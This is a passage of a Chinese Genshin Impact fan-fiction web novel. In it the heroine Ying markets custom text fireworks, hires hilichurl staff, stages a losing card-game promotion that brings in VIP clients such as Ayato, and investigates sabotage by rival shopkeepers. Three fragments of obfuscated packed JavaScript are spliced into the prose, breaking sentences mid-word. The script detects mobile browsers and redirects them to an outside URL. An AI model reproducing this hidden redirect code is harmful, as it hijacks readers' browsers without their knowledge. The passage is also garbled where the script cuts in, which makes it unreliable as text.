"咒骂烟花：在天上炸出''XX你欠我的钱还没还''。" 派蒙飘过来看了一眼。"荧，你是认真的吗？" "非常认真。稻妻有多少年轻人想表白？有多少人想骂人又不敢当面骂？" 派蒙想了想："那我可以定一个咒骂烟花吗？内容写''钟离先生你什么时候还钱''。" "可以。但你得自己付钱。" "……算了。" "那如果两个人互相买咒骂烟花对着放呢？" 荧停了一下。 "那就是烟花骂战。港口上空全是弹幕。" 她在笔记本上又加了一行： "文字烟花。下一个爆款。" 54.文字烟花爆火（上） 文字烟花的样品出来了。 宵宫送到店里三发试验品。一发写着"测试"，一发写着"宵宫最可爱"，一发写着"荧还欠我上个月的分成"。 荧看了第三发："这个不算样品。这是催债。" "顺便的。"宵宫笑嘻嘻地说，"技术没问题，夜泊石粉末配比已经稳定了。每发烟花最多能写八个字，超过八个字笔画会糊。你打算怎么卖？" 荧翻开笔记本，上面已经写好了产品线： "告白烟花：定制内容，每发三十摩拉。咒骂烟花：定制内容，每发三十五摩拉。" 宵宫看了一眼："为什么咒骂的比告白的贵五块？" "因为骂人的情绪更冲动，冲动消费的溢价空间更大。前世做广告的时候就知道，愤怒比爱情更容易让人掏钱。" "你这个定价逻辑好阴暗。" "不是阴暗。是消费者心理学。" 但荧在定价之前先做了一件事：内容审核机制。 她在接单告示旁贴了一张"不可定制内容清单"：不得涉及三奉行及官方行政人员、不得涉及雷电将军、不得涉及他国外交事务、不得包含人身威胁性内容。告示最下面一行小字："以上规则是为了保护客户和本店。违反者本店有权拒绝接单。" 荧的内心弹幕：前世做广告的铁律，先画红线再接单。甲方说"我要什么都能写"，乙方说"可以，但这几条不行"。红线是保护自己的。稻妻三奉行管控这么严，主动划红线比被动挨查强一万倍。省得赚了三十五摩拉赔进去三万五。抠门要抠在该抠的地方，合规成本不能省。 宵宫走的时候带走了第一批订单。荧在店门口贴了手写告示： "望舒客栈稻妻分店新品上架：文字烟花定制服务。告白烟花三十摩拉，咒骂烟花三十五摩拉。内容自定，八字以内，需通过内容审核。当日下单，三日内交付。" 第一天，告白烟花卖了三发。咒骂烟花卖了十九发。 荧看着订单本："十九比三。" 派蒙飘过来看了一眼："稻妻人民的怨气还挺重。" "不是怨气重。是刚需。想表白的人会犹豫，想骂人的人不会。" 咒骂烟花的内容五花八门。最多的是讨债类："XX你欠我三千摩拉"占了将近一半。其次是邻里纠纷类："隔壁老山田你家猫又偷我鱼干"。还有几条感情纠纷的，内容辛辣，荧看完觉得稻妻人吵起架来不比璃月港的大婶差。 内容审核拦掉了两单。一单写的是某个天领奉行巡查官的名字加脏话，另一单涉及一位社奉行低级官员的税务问题。荧退了订金，理由是"内容涉及官方人员，不在可定制范围内"。两个客户都不太高兴，但看了告示上的红线规则也没再说什么。 荧的内心弹幕：两单七十摩拉没了。心疼。但比起被天领奉行找上门，七十摩拉算什么。 第三天晚上，稻妻港口的天空炸了。 不是一发两发。是分批次升空，每批三到四发，间隔三分钟。 港口上空的文字你来我往，像天上开了一个弹幕区。 "山田欠我五百摩拉！" 三分钟后，对面升起一发："我没欠！是你算错了！" 再一批："算错的是你的脑子！" 再一批："全稻妻都看着呢你要脸吗！" 围观群众越聚越多。渔民放下渔网，商贩关了铺子，连码头搬货的工人都停下来仰头看天。有人开始叫好，有人开始下注赌山田会不会还钱。 然后第二组骂战开始了。两个大婶关于晾衣绳占位的纠纷，从"你的衣服挡了我的阳光"一直骂到"你全家衣服都比你脸干净"。 港口上空彻底变成了弹幕战场。 天领奉行的守卫来了。 领头的守卫仰头看了一会儿天空，又看了看围观群众。群众比他多两百倍。 "谁放的？" 围观群众齐齐指向荧的店铺方向。 守卫找到了荧。"你就是那个卖骂人烟花的？" "文字烟花定制服务。"荧纠正，"告白和咒骂都卖。只是咒骂卖得好一点。" "好一点？港口上空全是骂人的字。" "我已经做了分批燃放，每批不超过四发，间隔三分钟。"荧把烟花安全检验报告、社奉行临时经营许可、天领奉行特殊商品备案一起摊开，"另外，所有内容经过审核，不涉及三奉行及官方人员、不涉及外交事务。这是审核记录。" 她把拦截掉的两单记录也亮了出来。 守卫翻了翻审核记录，表情从严肃变成了微妙。 "你还主动拦了涉及官方人员的？" "合规经营是基本原则。" 守卫看完了。然后他说了一句荧没预料到的话： "定制的话，能不能帮我写一发？" "什么内容？" "''老婆我错了''。告白烟花。" "三十摩拉。" "能不能便宜点？我是公务员。" "公务员不打折。二十八，去掉零头。" 守卫付了钱走的时候说："分批燃放这个做法不错，继续保持。但投诉多了我还是要来的。" 第二天，守卫队里又来了三个人。两个买咒骂烟花，一个买告白烟花。内容都通过了审核。 同一周，璃月千岩军的访问代表团到了稻妻。这是锁国令解除后的正式外交交流团，二十多个千岩军士兵和几个随行璃月商人。他们到港口的那天晚上，正赶上又一波骂战烟花。 千岩军的副队长仰头看了很久。 "这是什么？" "稻妻特产。"随行商人说，"听说是一个璃月人开的店。文字烟花，想写什么写什么。" 第二天下午，荧的店里来了几个穿便装的年轻人。没穿制服，没报身份，但说话带着明显的璃月口音。 "听说可以定制烟花？" "可以。内容需要审核。" "匿名的吗？" "不记名。付钱即可。" 他们下了八单。内容荧扫了一眼：五单咒骂烟花，写给"某个不愿透露姓名的上级"，包括"申请加薪被驳回三次""伙食能不能换个花样""铠甲内衬磨大腿"。三单告白烟花，内容很朴素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荧的内心弹幕：简笔画画的是"我会搬货"，脆片是"我要这个当工资"，鞠躬是"请录用我"，圆圈舞是"我们都愿意"。一句人话没说，表达得比前世那些写三页自荐信的实习生还清楚。六只。不挑食，烤肉脆片都吃，管饭就行。前世招实习生的标准：能干活、便宜、听话。全符合。 她蹲下来看那六只丘丘人。最大的大概到荧的膝盖，最小的只有初号机一半大。 "它们听你指挥？" 初号机拍了一下地面。六只丘丘人齐齐站起来，排成一排。虽然排得歪歪扭扭，但确实是一排。 "好吧。带回去。试用期一周。不合格退回山坡。" 派蒙在笔记本上记："望舒客栈稻妻分店员工名册更新：初号机（店长级）、充电宝（技术岗）、丘丘人甲乙丙丁戊己（实习生×6）。总薪酬：脆片若干加烤肉边角料。折合约十五摩拉每月。" "你给它们编号了？" "甲乙丙丁戊己。六只刚好用完。" "不取名字吗？" "取了名字就有感情。有感情就不好开除。实习期不取名。" 55.烟花爆火（下） 六只丘丘人的分工很快确定了。甲和乙体格最大负责搬货。丙负责打扫。丁负责二楼看守仓库。戊和己最小，被派蒙安排在门口当吉祥物，站在初号机两边举着缩小版的牌子，上面画着充电宝的简笔画和一个闪电符号。 充电宝对新同事的反应很直接：它从纸盒里探出头，看了六只丘丘人一眼，放了一个微弱的小电花，然后缩回去了。派蒙说这是充电宝版的"知道了不关我事"。荧说这是职场老员工对新人的标准态度。 路过的小孩看到三只丘丘人排成一排举牌子，当场笑倒了两个。 第三天，试用期考核。荧把结果念了出来。 甲和乙搬货合格。丙打扫扣分，把垃圾扫到了隔壁店门口。丁看仓库合格但偷吃了两片脆片。戊和己吉祥物岗位超额完成，引流效果比初号机单独举牌提升了三倍。 荧刚念完，丙立刻耷拉着脑袋蹲在地上，用石头在地上画了一个哭脸，又画了一个扫地的小人旁边打了个叉，然后对着荧晃着身子跳了一段小碎步的认错舞。丁也赶紧凑过来，画了一个捂着嘴的小人，又画了一片脆片打了个斜杠，连连摆手，一脸"我再也不偷吃了"的表情。 派蒙看完这场认错表演："它们是不是比人还会认错？" "至少比前世那些死不认错的实习生强。" 荧在笔记本上写："全员留用。丙扣发当日脆片。丁的两片脆片从下月薪资扣除。戊和己绩效突出，各加半片脆片奖励。" 店铺人手问题解决了。接下来是一个意外的访客。 那天傍晚，一个戴着斗笠的年轻男人走进店里。衣着低调，素色外袍，没有任何家纹标识。但料子很好，荧前世在奢侈品客户那里练出来的眼睛一看就知道不便宜。 "请问，可以做雷电按摩吗？" "可以。十五摩拉一次，月卡一百。VIP含布帘隔间、软包坐垫、松茸汤，单次五十，月卡三百。" "VIP吧。" 他摘了斗笠坐下来。 荧的内心弹幕：这张脸。稻妻城到处都有他的画像。社奉行当主，神里绫人。上次给妹妹写信预约按摩，这次自己来了。前世抽他的卡歪了一次一百六十抽，现在他坐在我的折叠椅上等按摩。 她没有拆穿。做策划的人都知道，客户要低调你就配合低调。 初号机不知道这个规则。 它从门口走进来，看了绫人一眼。然后走到货架旁边，从最底层翻出了一本书。旅行商人寄售在店里的稻妻名人图鉴，封面画着雷电将军，里面有各界名人的画像。 初号机翻到其中一页，把书举到绫人面前，用爪子指了指画像，又指了指绫人。 店里安静了三秒。 绫人看着那本书，又看了看初号机，表情从容淡定，但耳根红了。 "这只……认字？" "不认字。认脸。"荧说，"记人脸的能力很强。上次天领奉行巡查官来店里它也认出来了。" 绫人把书轻轻合上递回。"看来我的伪装水平需要提高。" "要不要升级VIP月卡？"荧抓住商机，"三百摩拉，包含每次按摩的松茸汤、布帘隔间保证隐私，我可以安排您走后门不经过店面。和您妹妹同款动线。" 绫人看了她一眼。"你知道我妹妹也来过？" "绫华小姐是我的VIP客户。" "她在家从来不提这件事。" "这说明我们隐私保护做得好。" 绫人沉默了一会儿。"月卡。三百摩拉。两张。我和绫华各一张。" "六百摩拉。"荧秒答。 "但我有一个条件。以后不要让那只蓝色的翻名人图鉴了。" "可以。但图鉴是旅行商人寄售的，下架需要跟商人协商。协商期间如果其他客人看到了……" "多少钱？" "图鉴定价二十摩拉。您买走就没人能看了。" 绫人掏了二十摩拉买了那本图鉴。 荧的内心弹幕：VIP月卡两张六百。图鉴二十摩拉是寄售品，按代售抽成三成算我赚六摩拉，剩下十四退给商人。松茸汤成本六摩拉。今日这一单净收入六百摩拉整。其中六摩拉是封口费的佣金。社奉行当主的封口费佣金只有六摩拉。下次寄售抽成要跟商人重新谈。 绫人按摩的时候全程很安静。充电宝的电流传到他手臂上，他闭着眼睛，肩膀慢慢松了下来。社奉行当主常年伏案处理公务，肩颈劳损是职业病。跟前世天天对着电脑的甲方总监一样，肩膀硬得像石头，一按就知道是常年加班的身体。 走的时候他在后门停了一下。"松茸汤不错。" "谢谢。回头可以试试脆片，绫华小姐很喜欢。" "还有。你的丘丘人员工，天领奉行知道吗？" "正在办手续。七只魔物的集体饲养许可加充电宝的单独许可更新，审批中。上次那个巡查官说流程大概两周。" "如果超过两周可以来找我。" "走正常流程就好。但超了的话，我会记住您这句话的。" 绫人没再说什么，戴上斗笠走了。 派蒙等人走远才开口："神里家月消费：绫华月卡三百，绫人月卡三百，图鉴佣金六摩拉。合计六百零六摩拉。我们最大客户是社奉行。" "严格来说是神里家的个人消费。" "有区别吗？" "有。公款可以报销，个人消费不行。下次建议绫人走公务接待路线，社奉行公款报销按摩费。" "你要社奉行当主报销按摩费？" "前世叫团建经费。" 开业第二周，荧觉得客流稳了，是时候搞一波大的营销活动。 她想了三天翻了半本笔记本，最后盯上了一个东西：稻妻歌牌。 歌牌是稻妻最流行的传统游戏。茶馆有人玩，酒馆有人玩，连码头工人休息的时候都在玩。规则不算特别复杂，但要玩得好需要记住大量歌牌的对应关系，反应快记忆力强的人有优势。 荧对歌牌的了解程度：零。 前世她是原神重度玩家，对稻妻文化的了解全靠游戏里的支线任务和NPC对话。歌牌的规则大概知道一点，仅限于"好像要配对"这个程度。穿越之后忙着搬松茸和算账，更没时间学。 但这不影响她的营销思路。 "派蒙，歌牌规则你懂吗？" "大概懂。你要学？" "学一天够了。" "一天？牌手们练几个月才能打比赛。" "我不是要赢。我是要输。" 派蒙的表情从困惑变成了更困惑。 荧的内心弹幕：前世做营销最有效的策略之一是自黑。消费者不喜欢完美的品牌，喜欢有缺陷但真实的。一个强大的老板打牌赢了所有人，没人想去他店里。一个菜得离谱的老板娘被所有人打败，大家反而觉得亲切想去看热闹。输是最好的广告。 第二天派蒙教了她一天歌牌。 教学成果：荧学会了基本规则，认识了大部分牌面，但配对速度大概是普通玩家的三分之一。派蒙读上句，荧找下句，找到的时候对手已经拿走了。 派蒙评价："你玩歌牌的水平跟你做饭的水平持平。稳定在提瓦特最低标准线。" "够了。" 荧让初号机去木工那里定做了一块大牌子。牌子上荧亲手写了四个大字，正楷，端端正正： "璃月最菜老板娘" 下面一行小字："歌牌擂台赛。赢我即可获得雷电按摩一次（价值十五摩拉）。每局报名费五摩拉。不限次数。" 派蒙看完牌子："你确定？" "确定。" "你在用自己的脸当广告。" "前世做广告的铁律：最贵的广告位是CEO的脸，最便宜的也是CEO的脸。区别只在你敢不敢用。" "但你写的是''最菜''。" "越菜越好。菜是亲和力，完美是距离感。" 牌子立在店门口的那天早上，路过的人都停下来看。 十分钟来了第一个挑战者。卖鱼大婶的儿子，十四岁，城下町小有名气的歌牌少年高手。 第一局。派蒙读完上句，少年的手已经拍到了牌上，荧的手还悬在半空找下句。三十张牌打完，荧拿到两张，少年拿了二十八张。 围观群众发出了复杂的声音，介于震惊和同情之间。 "你真的只学了一天？"少年问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249826|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> "一天。而且大部分时间在学认牌。" "那你为什么要开擂台？" "因为我的松茸汤好喝。你赢了，免费按摩一次。去吧。" 少年去做了按摩。出来后对排队的人说："她牌是真菜。但按摩真舒服。" 第二个。第三个。第四个。 荧全输了。输得各有特色：有被速抢的，有被记忆力碾压的，有一局是荧拿错了牌把自己那边送给了对手。充电宝在柜台底下安静给赢家们放电按摩，一下午按了十几个人。派蒙说充电宝今天的工作量相当于平时三天的，荧说这算加班，但加班费按日薪制封顶不另算，给它多喂半撮粉末意思一下就行。 每个赢了的人都去领了免费按摩。领完按摩的人里一半办了月卡。 到下午，擂台前排了二十多个人。不全是来打牌的，有一半是来看荧输牌的。"璃月最菜老板娘"已经在城下町传开了，大家都想亲眼看看到底有多菜。戊和己两只小丘丘人举着画了箭头的简笔画牌子，分别站在队伍两边，有人插队就晃着身子跳一段警示的小舞蹈，软乎乎的样子没人好意思硬挤，队伍排得整整齐齐。路过的小孩看到两只丘丘人边跳舞边举牌子，当场笑倒了两个，干脆也排进队伍里等着看热闹。 荧的内心弹幕：完美。每局稳收五摩拉报名费，按摩实际成本约零点二摩拉粉末费，每局净赚四块八。加上每两个做完按摩的人里有一个办月卡一百，平均每两局额外赚五十。围观群众全是免费流量。前世做事件营销砸几十万才能上热搜，这辈子一块牌子就够了。 派蒙在旁边一边记账一边感慨："你是我见过的第一个故意输牌还能赚钱的人。" "不是故意输。是真的菜。故意输和真的菜有区别。真的菜更有说服力。" 到傍晚，荧的战绩是零胜十八负。报名费收了九十摩拉，送出十八次免费按摩（实际成本三点六摩拉），新办了七张月卡。 派蒙算了一下："报名费九十，月卡七百，减去粉末成本四摩拉和脆片，今日擂台净利润约七百八十摩拉。" 荧在笔记本上写了两个字："有效。" 但擂台赛带来的不只是客流。 第二天，一个穿着考究的中年男人走进店里。不是来打牌的，也不是来按摩的。他自我介绍是稻妻城商业街铺主联合会代表。 "荧小姐，你的擂台赛确实很热闹。"他语气客气但眼神不太友好，"但这种低价引流对周围店铺的生意有影响。同行们希望你能控制规模。" 荧的内心弹幕：来了。前世做线下活动最怕同行投诉。但同行投诉也是最好的谈判机会。 "您说得对，我的活动确实给周围带来了人流。"荧说，"但人流不是零和的。我的客户做完按摩会逛街，打完牌会买东西。联合会有没有统计过这周商业街的整体客流？" 中年男人没有立刻回答。 "我有一个提议。"荧接着说，"擂台赛期间，凡持我店消费凭证的客户，到联合会会员店铺消费享九五折。联合会出折扣，我出流量。合作比对抗赚得多。" 中年男人看了她一会儿。"这个提议……我回去跟联合会讨论。" "欢迎随时来打牌。五摩拉报名费，赢了免费按摩。" 他没接话，走了。 但第二天下午他又来了。这次带了联合会的另外两个铺主。 "九五折我们可以接受。但有两个条件。第一，擂台赛限时，每天不超过两个时辰。第二，你的店铺同时展示联合会成员的宣传牌。" 荧想了三秒。"可以。但我也加一个条件。联合会在宣传牌上注明''望舒客栈稻妻分店合作伙伴''。" 中年男人的眉毛动了一下。他跟两个铺主交换了一个眼神。 "成交。" 荧在笔记本上写了一段话："商人联合会合作达成。投诉方变合作方，零和博弈变增量博弈。前世做异业合作的基本思路。这条商业街的客流跟我绑定了。" 下面派蒙加了一行："荧的歌牌擂台生涯战绩：零胜十八负。明天的目标：零胜三十六负。提瓦特最菜纪录保持者。" 荧看了一眼："你这个目标很准确。" "我了解你的实力。" 56.三十六连败落幕（上） 歌牌擂台赛进入第二周。 好消息先来了一个。天领奉行的饲养许可全批了。集体许可覆盖初号机和六只丘丘人共七只，充电宝的单独许可也同步更新通过。巡查官来店里盖章的时候看了看门口举牌子的初号机和两只小丘丘人，又瞅了一眼柜台底下冒电花的充电宝，说了一句"你这个店铺的物种多样性比我见过的所有店铺加起来都多"。荧说谢谢。巡查官说这不是夸你。 许可批了，丘丘人的公开活动就合规了。荧把许可证复印了三份，一份挂在店里，一份锁在仓库，一份随身带着。做策划出身的人，证件永远比对方问的多两份。 荧的战绩从零胜十八负，稳步推进到了零胜三十二负。 "稳步"这个词用得很准确。因为她的菜不是偶尔菜，是稳定输出的菜。每一局都输，但每一局输的方式都不一样，像是在展示歌牌的一百种死法。 派蒙在笔记本上给她的败局分了类。 速败型：对手三十张牌拿了二十七张以上，荧全程在找牌。这类最多，占了一半。 自爆型：荧拿错牌、看错牌面、把自己的牌送给对手。派蒙说这叫"人工智障行为"，荧说这叫"为客户创造优越感的增值服务"。 悬念型：前半场荧竟然领先了几张，观众开始激动，结果后半场被翻盘。这类最受围观群众欢迎，因为有起伏。 每天的固定节目：早上开店卖松茸和脆片，中午充电宝给预约客人做按摩，下午摆擂台输牌。初号机在门口举牌子，戊和己两只小丘丘人在队伍两边跳警示舞维持秩序。甲和乙在后面搬货。丙打扫卫生，这次没有把垃圾扫到隔壁了。丁在二楼看仓库，没有再偷吃脆片。 "璃月最菜老板娘"已经不只是城下町的话题了。有人专门从稻妻城其他区域赶过来看她输牌，有旅行商人把这个故事带到了别的城市。据派蒙从渔妇八卦网获得的情报，连离岛那边都有人在讨论。 荧的内心弹幕：品牌知名度已经从城下町扩散到全城辐射。零广告预算。唯一的投入是我的脸和我的牌技。前世做品牌推广花几百万都达不到这个渗透率。穿越之后最大的发现：丢人是免费的，但丢人的商业价值是无价的。 第三十三场的对手是码头的老渔夫。他赢了之后说了一句传遍了整条商业街的话："闺女，你这牌打得，比我孙子还差。我孙子今年四岁。" 荧的表情没有变。"谢谢夸奖。免费按摩在左边，松茸汤在右边，两样都很好。" 老渔夫做完按摩办了月卡，走的时候还买了两包脆片。 第三十四场输给了旅行商人。第三十五场输给了点心铺老板的女儿，八岁。 派蒙记了一句："输给八岁小女孩。璃月最菜老板娘实至名归。" 荧说："八岁小女孩赢了，全家都会来看。她妈妈来了，爸爸来了，奶奶来了。三个人做了按摩，两个办了月卡。一局牌换一个家庭客户。" "你输给谁都能找到商业价值。" "这叫客户关系管理。" 与此同时，铺主联合会的九五折合作在这两周里效果显著。派蒙统计了数据：擂台赛期间商业街整体客流比上月涨了四成，联合会会员店铺的平均营收提升了两成。中年男人上周来的时候说了一句："你这个合作模式，比我做了二十年的生意都管用。" 荧在笔记本上写："擂台赛引流数据确认有效。联合会合作模式可复制到其他品类。下一步：擂台赛收尾后，将引流渠道从歌牌转为常规活动，保持合作关系的长期稳定。" 第三十六场。也是最后一场。 这场不在街上的擂台。 那天傍晚，关店之后，荧在收拾桌椅。后门响了。 绫人。 他今天没戴斗笠。是从后门进来的，按VIP客户的动线。身后跟着的侍从在门口等着。 "听说你的擂台赛明天就结束了？" "对。三十五连败。该收尾了。" 绫人看了看折叠桌上还没收起来的歌牌。"我想打一局。" 荧的内心弹幕：社奉行当主，稻妻顶级贵族，歌牌应该是他从小的必修课。贵族子弟学歌牌就像前世精英家庭学钢琴，不是爱好是教养。这一局我大概要被碾压得比之前所有对手加起来还惨。 "关了店打？不算擂台赛？" "不需要观众。"绫人的语气很淡，"就你和我，打一局。算我的私人娱乐。" "报名费免了？" "我是VIP月卡客户。月卡权益里应该包含一次免费歌牌对局。" "没有这个权益。" "那就现在加上。" 荧想了两秒。"可以。但对局结果保密。社奉行当主在街边小店打歌牌的事传出去，对您的形象不好。" "你倒替我想得周到。" "保护客户隐私是VIP服务的核心。" 荧的内心弹幕：其实是我自己不想让人知道被碾压得有多惨。前三十五场输得很有观赏性，最后一场如果输得太难看，会降低之前积累的喜剧效果。在最高潮收尾，不画蛇添足，前世做campaign也是这个道理。 派蒙读了第一句上句。 绫人的手在荧还没反应过来的时候就精准地拍到了对应的牌上。快。不是普通快，是身体记忆级别的快，手不需要经过大脑就知道该拍哪张。 荧的内心弹幕：这就是氪了二十年教育的手速。前世打游戏遇到过这种人，零氪但操作碾压所有氪金玩家的天赋型。不对，他不是零氪，他是从小氪到大的。贵族版满命角色。 第二张。第三张。第四张。绫人的手每次都比荧快，而且不是快一点，是快很多。荧的手还悬在半空，他已经把牌收到了面前。 三十张牌打完。荧拿到了零张。绫人三十张。 零比三十。完封。 荧趴在折叠桌上。 "三十六连败。"她闷声说。 "看来歌牌并非你的天赋所在。"绫人的语气平静得像在评价天气，"不过能将劣势转化为商业优势，这本身就是一种天赋。只是这种天赋……如何说呢，让人很难判断该佩服还是该同情。" 荧从桌上抬起头。"这是我听过最贵的评价。来自一个月卡三百摩拉的VIP客户。" 绫人的嘴角动了一下。不算笑，但接近了。 "按摩？" "走VIP流程。布帘隔间，松茸汤。" 绫人按摩的时候全程很安静。充电宝的电流传到他手臂上，他闭着眼睛，肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254119|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢松下来。社奉行当主常年伏案处理公务，肩颈劳损是职业病。跟前世天天对着电脑的甲方总监一样，肩膀硬得像石头。 走的时候他在后门停了一下。"你的歌牌水平如果用稻妻的段位来衡量，大概是……无段位。" "我知道。" "但你的店铺经营水平，"他转过头，"大概是社奉行级别。" 他走了。荧站在后门发了一会儿呆。 派蒙飘过来："他是不是夸你了？" "好像是。但我分不清这是夸还是讽刺。" "社奉行级别是夸。前世怎么说来着？" "甲方最高评价：''这个项目做得不错''。通常意味着下一句是''但预算要砍一半''。" 派蒙在笔记本上写了一行："第三十六场。对手：社奉行当主（保密）。结果：零比三十。完封。评价：无段位。总战绩：零胜三十六负。擂台赛正式结束。" 荧在笔记本上写了擂台赛的总结报告： "歌牌擂台赛，共十二天，公开赛三十五局加私人赛一局。公开赛报名费合计一百七十五摩拉。免费按摩三十五次（实际成本七摩拉）。新增月卡客户十九人，月卡收入一千九百摩拉。带动联合会合作商铺客流增长四成。品牌知名度从城下町扩散至全城。总投入：一块牌子的木工费加我的脸。总结：史上成本最低的品牌营销活动。" 下面是后续规划： "擂台赛结束后的引流替代方案：每周固定一天''老板娘歌牌挑战日''，保留话题热度但降低频率。同时推出''充电宝体验日''（每周三下午，新客首次按摩半价），将引流渠道从歌牌过渡到按摩体验。联合会合作从限时活动转为长期协议，九五折联动改为季度续签。目标：擂台赛的短期爆发力转化为日常稳定客流。" 擂台赛结束了。但这天晚上，荧发现了一些不对劲的事。 首先是松茸脆片。 丁从二楼仓库搬下来一箱当天要补货的脆片，荧打开抽查了几包。味道不对。咸。不是正常的微咸，是齁嗓子的咸。 "这批是什么时候到的？" "今天下午。"派蒙翻了进货记录，"送货的是离岛的老供应商，走的正常渠道。丁照常签收入库了。但这批货中午到的时候先放在后院等搬运，甲和乙当时在前面帮擂台赛搬桌椅，隔了大半个时辰才把货搬上二楼。后院那段时间没人看着。" 荧又打开了三包。全咸。 她舔了一下手指上的粉末。"这不是我们的配方。我们用低盐烘烤，这个含盐量至少是正常的三倍。有人趁货放在后院没人看管的那段时间，把整箱脆片换掉了。" 荧的内心弹幕：流程漏洞。送货到院子和搬运入库之间有大半个时辰的空档，后院没人值守。前世做供应链管理的基本功：收货、验货、入库三个环节必须无缝衔接。我疏忽了。 然后是VIP按摩区的软包坐垫。 荧坐上去觉得硬。之前是软的，坐下去整个人会陷进去一点，绫华来的时候还夸过舒服。现在坐上去像坐在木板上。 荧翻开坐垫拉链。里面的棉花被换过了。原来的松软棉絮变成了压实的粗麻布碎片。 "有人动了坐垫。" "什么时候？" 57.三十六连败落幕（下） 荧看了看VIP区的位置。 布帘隔间在一楼角落，白天客人进进出出，换坐垫只需要两分钟，趁人多的时候混进来完全做得到。 丁在二楼看仓库，视角看不到一楼角落。 "白天。趁擂台赛人多的时候。" 第三件事是第二天早上发现的。店门口的招牌被人涂了字。原来写的是"望舒客栈稻妻分店"，现在被人用墨汁加了几个字："璃月骗子滚回去"。 这个是夜里干的。丁晚上在二楼仓库值守，但仓库窗户朝后巷，看不到前面的招牌。戊和己晚上睡在一楼店面角落，但它们睡着了跟两颗紫灰色的石头一样，什么都听不见。 荧站在门口看了一会儿。 "三件事。脆片在送货环节被动手脚。坐垫在白天人多时被换。招牌在夜里被涂。"她对派蒙说，"三个不同的时间段，三种不同的方式。不是一个人干的。" 荧的内心弹幕：有组织的。目标明确：破坏口碑、赶走客人、逼我关店。前世做广告遇到过竞品搞黑公关，套路一模一样。但这次比前世的好查，因为提瓦特没有互联网，作案的人只能是周围的人。 她没有声张。照常开店，照常营业。但她做了两件事。 第一，让丁晚上值守的时候把位置从二楼仓库换到一楼窗边，能看到前门和招牌。戊和己的窝从角落挪到后门旁边。甲和乙白天搬完货之后，轮流在VIP区附近走动。不是蹲守，是正常走动，但有人靠近VIP区它们会注意到。 第二，给甲一块小石板和几根炭笔。甲是六只丘丘人里最聪明的，简笔画画得最好。荧教了它一件事：看到不认识的人碰店里的东西，就把那个人的脸画下来。 甲很快学会了。它画的人脸像是小孩子的涂鸦，圆圆的头，两个点当眼睛，一条线当嘴巴。但辨识度出奇的高，因为它会抓住每个人最明显的特征：胖的画得很圆，瘦的画得很长，有胡子的画一撮毛，戴帽子的画个三角形。 两天之内什么都没发生。 第三天中午，甲递给荧一块石板。 上面画了三张脸。 第一张：一个圆脸，头上画了个小圆帽，下巴画了两撮短胡子。甲在旁边画了一个方块（代表箱子），又画了一个摇头的小人（代表"不对劲"）。 荧看了看。"这是谁？" 派蒙拿着石板去商业街转了一圈，回来说："圆脸、小圆帽、两撮短胡子。茶屋''清风轩''的老板。今天中午他在店门口晃了两趟。" 第二张脸：瘦长脸，头上画了一朵花。甲在旁边画了一个坐垫的形状和一只手。 "花月堂的老板娘。"派蒙说，"她下午来过店里，说是买脆片。但她在VIP区那边停了一会儿。" 第三张：方脸，画了一个酒壶。甲在旁边画了一罐墨汁和一块牌子。这张是丁提供的线索，它夜里从一楼窗边看到一个方脸男人在店门口停了一会儿，第二天早上比画给甲，甲画了出来。 "浮世亭的居酒屋老板。" 三张简笔画。三个人。荧把石板翻过来，甲还在背面补了一幅画：三个小人站成一排，头上都画了叉叉，旁边画了一个竖起大拇指的丘丘人，它在表功。 派蒙看完笑了："甲这是在说''坏人我都画下来了，夸我''。" 荧摸了摸甲的头。"加半片脆片。绩效奖励。" 甲原地跳了一个圈，晃着身子跳了一段欢快的小舞蹈。 三个人。三家店。荧查了联合会的合作名单。全不在上面。 "他们三个不是联合会的。"派蒙说。 "对。联合会成员跟我签了合作协议，搞破坏对他们没好处。这三个是商业街上拒绝加入九五折合作的散户。" "拒绝合作的人反而来搞破坏？" "因为合作的人分到了流量，他们没有。别人赚钱他们没赚，比自己亏钱还难受。" 怎么处理？ 荧的内心弹幕：选项一，报官，把甲的简笔画和实物证据交给天领奉行。但简笔画不是铁证，天领奉行未必采信。选项二，私了，找他们谈判。但三对一，他们可以不认。选项三：我的方式。 "派蒙，去请联合会的代表来。" "联合会？他们又没参与。" "正因为没参与，才要请他们来。" 联合会代表中年男人来了。荧把三张简笔画给他看，又把高盐脆片、被换的坐垫填充物一起摆在桌上。旁边是派蒙整理的证据链：布控后第二天中午，清风轩老板在后院附近反复出现，被甲画到，而脆片正是在后院无人看管时被换掉的；同一天下午，花月堂老板娘以买脆片为由进店，却在VIP区停留，被甲画到，而坐垫正是在白天人多时被换的；布控后第二天夜里，浮世亭老板在店门口逗留，被丁从一楼窗边看到，甲次日画了出来，而招牌上的墨渍字迹和他在居酒屋门口写的促销字风格一致。三个人，三种可疑行为，和三件破坏事件一一对应。 